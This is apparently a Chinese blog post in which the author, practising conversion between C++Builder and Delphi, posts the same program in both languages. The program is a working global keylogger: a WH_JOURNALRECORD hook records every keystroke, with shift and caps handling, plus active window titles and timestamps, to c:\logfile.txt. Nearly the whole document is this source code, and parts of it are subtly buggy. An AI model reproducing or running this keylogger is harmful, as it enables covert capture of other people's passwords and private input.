在论坛上发的请求终于有人帮忙解决了,最近总尝试着把delphi代码和bcb代码互转,希望通过这样,能够对delphi
比较熟些些.
/bcb版本/
/---------------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop
#include <stdio.h>
#include "Unit1.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
HHOOK g_hLogHook=NULL;
HWND g_hLastFocus=NULL;
const int KeyPressMask=0x80000000; //键盘掩码常量
char g_PrvChar; //保存上一次按键值
LRESULT CALLBACK JournalLogProc(int iCode,
WPARAM wParam, LPARAM lParam);
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button1Click(TObject *Sender)
{
if (g_hLogHook==NULL)
g_hLogHook = SetWindowsHookEx
(WH_JOURNALRECORD,
(HOOKPROC)JournalLogProc,
HInstance,0); //安装日志钩子
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button2Click(TObject *Sender)
{
if (g_hLogHook!=NULL)
{UnhookWindowsHookEx(g_hLogHook);
g_hLogHook=NULL;
} //卸载日志钩子
}
//---------------------------------------------------------------------------
LRESULT CALLBACK JournalLogProc(int iCode,
WPARAM wParam, LPARAM lParam)
{
if (iCode<0)
return CallNextHookEx (g_hLogHook,iCode,wParam,lParam);
if (iCode==HC_ACTION)
{EVENTMSG *pEvt=(EVENTMSG *)lParam;
int i; HWND hFocus; //保存当前活动窗口句柄
char szTitle[256]; //当前窗口名称
char szTime[128]; //保存当前的日期和时间
FILE *stream=fopen("c:\\logfile.txt","a+t");
if (pEvt->message==WM_KEYDOWN)
{int vKey=LOBYTE(pEvt->paramL); // 取得虚拟键值
char ch;
char str[10];
hFocus=GetActiveWindow();
//取得当前活动窗口句柄
if(g_hLastFocus!=hFocus)
//当前活动窗口是否改变
{GetWindowText(hFocus,szTitle,256);
g_hLastFocus=hFocus;
strcpy(szTime,DateTimeToStr(Now())
.c_str()); //得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",
10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
int iShift=GetKeyState(0x10);
//测试SHIFT,CAPTION,NUMLOCK等键是否按下
int iCapital=GetKeyState(0x14);
int iNumLock=GetKeyState(0x90);
bool bShift=(iShift & KeyPressMask)==KeyPressMask;
bool bCapital=(iCapital & 1)==1;
bool bNumLock=(iNumLock & 1)==1;
if (vKey >=48 && vKey<=57) // 数字0-9
if (!bShift) fprintf(stream,"%c",vKey);
if (vKey>=65 && vKey<=90) // A-Z a-z
{if (!bCapital)
if (bShift) ch=vKey ;
else ch=vKey+32 ;
else if (bShift) ch=vKey+32;
else ch=vKey;
fprintf(stream,"%c",ch);
}
if (vKey>=96 && vKey<=105) // 小键盘0-9
if (bNumLock)
fprintf(stream,"%c",vKey-96+48);
if (vKey>=186 && vKey<=222) // 其他键
{switch (vKey) {
case 186:
if (!bShift) ch=';' ;
else ch=':';
break;
case 187:
if (!bShift) ch='=' ;
else ch='+' ;
break;
case 188:
if (!bShift) ch=',';
else ch='<' ;
break;
case 189:
if (!bShift) ch='-' ;
else ch='_' ;
break;
case 190:
if (!bShift) ch='.' ;
else ch='>' ;
break;
case 191:
if (!bShift) ch='/' ;
else ch='?' ;
break;
case 192:if (!bShift) ch='`'; else ch='~' ;break;
case 219:if (!bShift) ch='[' ; else ch='{' ;break;
case 220:if (!bShift) ch='\\' ; else ch='|' ;break;
case 221:if (!bShift) ch=']' ; else ch='}' ;break;
case 222:if (!bShift) ch='/'; else ch='\''; break;
default:ch='n' ;break;
}
if (ch!='n') fprintf(stream,"%c",ch); } //
if (wParam>=112 && wParam<=123) // 功能键 [F1]-[F12]
if (vKey>=8 && vKey<=46) //方向键
{switch (vKey) {
case 8:strcpy(str,"[BK]");break;
case 9:strcpy(str,"[TAB]");break;
case 13:strcpy(str,"[EN]");break;
case 32:strcpy(str,"[SP]");break;
case 33:strcpy(str,"[PU]");break;
case 34:strcpy(str,"[PD]");break;
case 35:strcpy(str,"[END]");break;
case 36:strcpy(str,"[HOME]");break;
case 37:strcpy(str,"[LF]");break;
case 38:strcpy(str,"[UF]");break;
case 39:strcpy(str,"[RF]");break;
case 40:strcpy(str,"[DF]");break;
case 45:strcpy(str,"[INS]");break;
case 46:strcpy(str,"[DEL]");break;
default:ch='n' ;break;
}
if (ch!='n' )
{if (g_PrvChar!=vKey)
{fprintf(stream,"%s",str); g_PrvChar=vKey;
}
}
}
}
if (pEvt->message==WM_LBUTTONDOWN ||pEvt->message==WM_RBUTTONDOWN)
{hFocus=GetActiveWindow();
if (g_hLastFocus!=hFocus)
{g_hLastFocus=hFocus;
GetWindowText(hFocus,szTitle,256);
strcpy(szTime,DateTimeToStr(Now()).c_str());
//得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",
10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
}
fclose(stream);
return CallNextHookEx
(g_hLogHook,iCode,wParam,lParam);
}
}
//-----------------------------------------------delphi版本--------------------------------------------------------------
//-----------------------------------------------------
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
g_hLogHook : HHook;
g_hLastFocus : HWND;
g_PrvChar: char;
implementation
{$R *.dfm}
const
KeyPressMask=$80000000;
function JournalLogProc(iCode: Integer;wParam:WPARAM;lParam:LPARAM): Integer;stdcall;
var
evt: PEVENTMSG;
i : Integer;
hFocus : HWND;
szTitle : array[0..255] of char;
szTime : array[0..127] of char;
vKey : Integer;
ch : char;
str: array[0..9] of char;
txt: TextFile;
iShift,iCapital,iNumLock : Integer;
bShift,bCapital,bNumLock : Boolean;
begin
if iCode<0 then begin
Result := CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
Exit;
end;
if iCode=HC_ACTION then begin
evt:=PEVENTMSG(lParam);
AssignFile(txt,'c:\logfile.txt');
if not fileexists('c:\logfile.txt') then
ReWrite(txt)
else
Append(txt);
if evt^.message=WM_KEYDOWN then begin
vKey:=LoByte(evt^.paramL);
hFocus := GetActiveWindow();
if g_hLastFocus<> hFocus then begin
GetWindowText(hFocus,szTitle,256);
g_hLastFocus:= hFocus;
strcopy(szTime,Pchar(DateTimeToStr(now)));
write(txt,#10,szTime,#32,#32,szTitle);
write(txt,#32,#32);
end;
iShift := GetKeyState($10);
iCapital := GetKeyState($14);
iNumLock := GetKeyState($90);
bShift := (iShift and KeyPressMask)=KeyPressMask;
bCapital := (iCapital and 1)=1;
bNumLock := (iNumLock and 1)=1;
if (vKey >=48) and (vkey<=57) then begin
if not bShift then
write(txt,chr(vKey));
end;
if (vKey>=65) and (vKey<=90) then begin
if not bCapital then begin
if bShift then
ch:=chr(vKey)
else
ch:=chr(vKey+32);
end
else begin
if bShift then
ch:=chr(vKey+32)
else
ch:= chr(vKey);
end;
write(txt,ch);
end;
if (vKey>=96) and (vKey<=105) then begin
if bNumLock then
write(txt,chr(vkey-96+48));
end;
if (vKey>=186) and (vKey<=222) then begin
case vKey of
186:
begin
if not bShift then
ch:=';'
else
ch:=':';
end;
187:
begin
if not bShift then
ch:='='
else
ch:='+';
end;
188:
begin
if not bShift then
ch:=','
else
ch:='<';
end;
189:
begin
if not bShift then
ch:='-'
else
ch:='_';
end;
190:
begin
if not bShift then
ch:='.'
else
ch:='>';
end;
191:
begin
if not bShift then
ch:='/'
else
ch:='?';
end;
192:
begin
if not bShift then
ch:='`'
else
ch:='~';
end;
219:
begin
if not bShift then
ch:='['
else
ch:='{';
end;
220:
begin
if not bShift then
ch:='\'
else
ch:='|';
end;
221:
begin
if not bShift then
ch:=']'
else
ch:='}';
end;
222:
begin
if not bShift then
ch:='\'
else
ch:='/';
end;
else
ch:='n';
end;
if ch<>'n' then
write(txt,ch);
end;
if (wParam>=112) and (wParam<=123) then begin
//功能键F1-F12
end;
if(vKey>=8) and (vKey<=46) then begin
case vKey of
8:
begin
strcopy(str,'[BK]');
end;
9:
begin
strcopy(str,'[TAB]');
end;
13:
begin
strcopy(str,'[EN]');
end;
32:
begin
strcopy(str,'[SP]');
end;
33:
begin
strcopy(str,'[PU]');
end;
34:
begin
strcopy(str,'[PD]');
end;
35:
begin
strcopy(str,'[END]');
end;
36:
begin
strcopy(str,'[HOME]');
end;
37:
begin
strcopy(str,'[LF]');
end;
38:
begin
strcopy(str,'[UF]');
end;
39:
begin
strcopy(str,'[RF]');
end;
40:
begin
strcopy(str,'[DF]');
end;
45:
begin
strcopy(str,'[INS]');
end;
46:
begin
strcopy(str,'[DEL]');
end
else
ch:='n' ;
end;
if (ch<>'n') then begin
if (g_PrvChar <> chr(vKey)) then begin
write(txt,str);
g_PrvChar:= chr(vKey);
end;
end;
end;
end;
if (evt^.message=WM_LBUTTONDOWN) or (evt^.message=WM_RBUTTONDOWN) then begin
hFocus := GetActiveWindow();
if (g_hLastFocus<>hFocus) then begin
g_hLastFocus := hFocus;
GetWindowText(hFocus,szTitle,256);
strcopy(szTime,Pchar(DateTimeToStr(now)));
write(txt,#10,szTime,#32,#32,szTitle);
write(txt,#32,#32);
end;
end;
CloseFile(txt);
result := CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if g_hLogHook=0 then begin
g_hLogHook := SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,HInstance,0);
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if g_hLogHook<>0 then begin
UnhookWindowsHookEx(g_hLogHook);
g_hLogHook:= 0;
end;
end;
end.